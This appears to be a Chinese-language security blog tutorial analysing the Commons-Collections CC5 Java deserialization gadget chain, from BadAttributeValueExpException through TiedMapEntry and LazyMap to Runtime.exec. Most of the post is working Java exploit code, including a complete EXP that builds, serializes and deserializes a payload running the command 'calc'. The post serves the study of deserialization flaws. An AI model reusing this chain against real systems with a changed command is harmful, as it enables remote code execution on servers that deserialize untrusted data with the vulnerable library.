Java反序列化Commons-Collections篇07-CC5链
Drunkbaby Lv6

CC5链

Java 反序列化 Commons-Collections 篇 CC5 链

0x01 前言

最后两个链子了,冲冲冲!

0x02 CC5 链分析

让我找这里肯定很难找出来,去看了 yso 的官方链子,入口类是 BadAttributeValueExpExceptionreadObject() 方法,这一个倒是不难。关键是后面的。

逆向思维来看的话,LazyMap.get() 方法被 TiedMapEntry.toString() 所调用,而如果去找谁调用了 toString() 这也太多了,太难找了,我们只能正向分析。

  • 直接看官方的链子,再去写 EXP 吧。

大致的流程图如此

BadAttributeValueExpExceptionreadObject() 方法进来。

这里调用了 toString() 方法,然后 TiedMapEntry 这个类调用了 toString() 方法。

TiedMapEntry 这个类的 toString() 方法调用了 getValue() 方法,在 getValue() 方法中,我们看到了 get() 方法被调用,这就和后续的 LazyMap.get() 对应起来了。

0x03 CC5 链 EXP 编写

1. LazyMap.get() 的 EXP 编写

  • 这里 LazyMap 的后面半条链子是可以用的,我们直接把 CC1 那一部分的拿进来。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// LazyMap 后半段的 EXPpublic class LazyMapGetEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, chainedTransformer);
}
}
  • 成功弹出计算器。

下一步我们写 TiedMapEntry 类调用 toString() 方法的 EXP。

2. TiedMapEntry.toString() EXP 编写

这一步不是很难,因为 TiedMapEntry 这个类继承了反序列化,并且是 public 的类,可操纵性非常强。

EXP 的逻辑这里我觉得也挺简单的,先看 TiedMapEntry 的构造方法,TiedMapEntry 的构造方法中的 map 后续进行了 map.get(key) 的操作,所以只需要将 map 赋值为 decorateMap 即可。

编写我们的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// TiedMapEntry 的 EXP 编写
public class TiedMapEntryEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
tiedMapEntry.toString();
}
}

3. 结合入口类的完整 EXP 编写

  • 第一次自己写这个 EXP,花了我不少时间。

这里运气比较好,入口类的 BadAttributeValueExpException 的作用域是 public,所以我们可以直接 new 一个对象。

1
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

new 完之后,我们需要修改 BadAttributeValueExpException 的 val 值,而 BadAttributeValueExpException 是支持序列化的,我们用反射的方式来修改。

1
2
3
4
Class c = Class.forName("javax.management.BadAttributeValueExpException");  
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

成功弹出计算器,完整的 EXP 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

// 结合入口类的完整 EXP 编写
public class CC5EXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x04 小结

  • 走个形式吧,感觉自己体会到的更多,后续可能会写一篇关于反序列化的总结文章。
 评论